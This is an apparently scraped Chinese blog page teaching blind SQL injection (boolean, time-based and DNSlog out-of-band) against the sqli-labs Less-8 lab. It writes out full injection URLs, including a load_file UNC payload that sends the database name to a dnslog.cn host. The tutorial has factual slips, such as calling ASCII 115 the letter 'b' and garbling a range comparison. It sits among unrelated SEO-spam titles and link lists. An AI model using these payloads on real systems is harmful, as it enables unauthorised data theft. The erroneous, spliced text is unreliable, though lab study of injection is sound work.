当前位置: 首页 > news >正文

德阳做网站的互联网公司百度网站的网址

德阳做网站的互联网公司,百度网站的网址,帮人家做网站难吗,学校网站建设工作目标文章目录 目录 一.盲注概述 布尔盲注: 时间盲注: 一.盲注概述 注是一种SQL注入攻击的形式,在这种攻击中,攻击者向目标应用程序发送恶意注入代码,然后通过观察应用程序的响应来推断出数据库中的信息。与常规的SQL注入…

文章目录

  • 目录

    一.盲注概述

    布尔盲注:

    时间盲注: 


一.盲注概述

        注是一种SQL注入攻击的形式,在这种攻击中,攻击者向目标应用程序发送恶意注入代码,然后通过观察应用程序的响应来推断出数据库中的信息。与常规的SQL注入攻击不同的是,盲注攻击是页面不会将报错信息回显以及没有明显回显位的情况下,页面不直接返回任何有关数据库的具体错误信息,导致攻击者无法直接获得数据库中的数据。

盲注可以分为基于布尔逻辑的盲注和基于时间的盲注两种形式。

  • 基于布尔逻辑的盲注:攻击者通过在恶意注入代码中利用布尔逻辑运算符(如AND、OR)来判断条件是否为真,从而推断出数据库中的信息。例如,攻击者可以通过尝试不同的条件来逐位地猜测数据库中的某个字符。

  • 基于时间的盲注:攻击者在恶意注入代码中添加延时函数或sleep函数,通过观察应用程序是否延时来判断条件是否为真。例如,攻击者可以通过尝试不同的条件来判断数据库中某个字段的值是否满足条件,并通过延时函数来推断出正确的条件。

布尔盲注:

使用布尔盲注的页面通常只有两种页面效果即正确页面和错误页面。

正确页面:SQL语句能够被执行显示的页面,如下图

http://192.168.100.10/sql/Less-8/index.php?id=1

错误页面: SQL语句不能够被执行显示的页面,如下图

http://192.168.100.10/sql/Less-8/index.php?id=1'

     无论正确页面或错误页面都无法直接回显数据,那么在这种情况下如何通过sql注入获取信息?

     我们可以利用SQL语句被执行返回正确页面,SQL语句不能被正确执行返回错误页面来帮助我们判断我们输入的SQL语句是否正确,从而判断我们想要的信息是否属于该数据库。     

 演示案例:

http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii('e')=101--+注:ascii()函数可以将查询的内容转化为ascii码数字,字母e对应的数字是101SQL语句分析:利用页面回显正确和错误的特性,若字母e对应的ascii码=101.则返回正确页面

 通过上述案例,可以了解如何利用数据库帮助我们判断查询的信息是否正确,因此可以利用这一漏洞插入SQL语句来查询我们想要的信息

演示案例:

想要知晓当前页面查询的数据库名,可以通过ascii码值倒推出该数据库名,例如:ascii('e')=101 中 页面显示为正确页面则代表数据库名中包含字母e;显而易见,我们同样可以利用该数据库名是否在某一特定的区间内来判断当前页面查询的数据库名。案例如下:若该查询数据的acsii在大于100 小于102.则代表查询出的数据是字母e

http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),2,1))=101--+注:ascii()函数默认转译查询到数据的第一个字母且最大显示32位数据substr((sql语句),2,1) 从第二个字符开始显示,每次显示一个字符SQL语句分析:上述页面执行为正确页面说明。查询出的数据库名中的第二个字符是e#查询数据库名中的第一个字母
http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>101--+注:执行成功代表库名第一个字母ascii码大于101http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>114--+注:执行成功代表库名第一个字母ascii码大于114http://192.168.100.10/sql/Less-8/index.php?id=1' and ascii(substr((select database()),1,1))>116--+注:执行成功代表库名第一个字母ascii码小于116因此通过不断的迭代缩小ascii码范围可确定库名第一个字母ascii码大于114小于116,最终确定库名首字母ascii码是115 即字母b

时间盲注: 

当页面没有报错回显,回显位,真假页面时,可以通过应用程序是否延迟来判断恶意SQL语句是否执行成功。

http://192.168.100.10/sql/Less-8/index.php?id=1' and if(ascii(substr((select database()),2,1))=101,sleep(1),sleep(3))--+注:sleep()延迟函数使程序延迟执行if(SQL语句,sleep(1),sleep(3)):SQL语句执行成功程序延迟1秒执行,未成功延迟3秒执行

DNSlog盲注 

        布尔盲注和时间盲注的缺点需要大量的迭代查询,而DNSlog盲注则可以一步到位直接回显出我们需要的信息;

         DNSlog可以拆开分为 DNS+log=域名解析+日志;DNS域名服务器/DNS日志服务器会将请求解析的域名记录在日志中,DNS日志和sql注入又有什么联系?有没有一种办法可以使安装数据库的服务器向DNS服务器请求域名解析?当服务器请求DNS解析域名的时候,我们可不可以在域名中插入恶意的SQL语句呢,这样我们需要解析的域名就会被显示到DNS日志服务器上?

为了完成上述目标我们需要了解以下内容:

确保数据库有读写权限

load_file()函数:

        用于从文件系统中读取文件内容并将其作为字符串返回到 SQL 查询结果中

UNC路径:

\\IP(域名)\share\path\fileIP:需要访问的主机IP
share:表示共享资源的名称。
path:表示共享资源中的路径(可选)。
file:表示具体的文件名(可选)。

        UNC路径是用于标识网络共享资源的一种命名约定UNC路径可以在本地文件系统中的路径上直接使用,以方便访问网络共享资源。

DNSlog注入中我们可以在注入时使用load_file(UNC路径)指示数据库去访问该路径下的内容并在访问的同时触发UNC路径去请求DNS服务器解析域名,而我们可以在需要解析的域名中插入SQL语句,案例如下:

id=1' and (select load_file(concat("//",(selectdatabase())."ryw4a6.dnslog.cn/benben.txt"))) --+

 执行上述SQL注入语句后,DNS日志服务器中就可以查询到刚刚请求解析的域名,而secyrty就是我们想要知道的数据库名(下述DNS日志服务器可以记录以ryw4a6.dnslog.cn结尾的域名请求记录)


总结

http://www.mmbaike.com/news/75727.html

相关文章:

  • 企业网站规划书范文自媒体推广渠道
  • 做论坛网站时应该注意什么网络营销的四种方式
  • 烟台网站建设优化怎么做seo网站关键词优化
  • 做lol数据的网站有哪些促销策略
  • 搭建农村电商平台北京网站优化平台
  • 做网站弄关键词多少钱seo推广优化
  • 网站设计十大品牌英语seo什么意思
  • 网站建设 seo西安网
  • 医疗科技网站建设郑州网络营销公司哪个好
  • 商城网站开发 价格汕头网站推广
  • seo关于网站关键词指数查询工具
  • 门户网站是如何做引流的百度热榜排行
  • 福州做网站优化百度的推广方式有哪些
  • 家庭农场网站建设营销助手
  • 网站制作推广公司网站建设报价单
  • 在线做图网站潍坊网站建设方案咨询
  • 做我的奴隶 good网站正规培训机构有哪些
  • 专门做拼团的网站国内seo公司
  • wordpress文章同步插件网站制作优化
  • 孝感应城网站建设优化师助理
  • 北京网站定制开发汕头网站建设公司哪个好
  • 网站推广怎么样搜索引擎关键词优化方案
  • 佛山专业网站建设报价百度指数预测
  • 北京知名网站海外seo网站推广
  • 佛山网站建设哪里有产品宣传推广方案
  • 学校动态网站建设的费用明细夫唯seo怎么样
  • 做的比较好的海鲜网站北京seo结算
  • axure网站做多宽杭州线上推广
  • dw和vs做网站哪个好用关键词优化外包
  • 伊春网络建站公司八上数学优化设计答案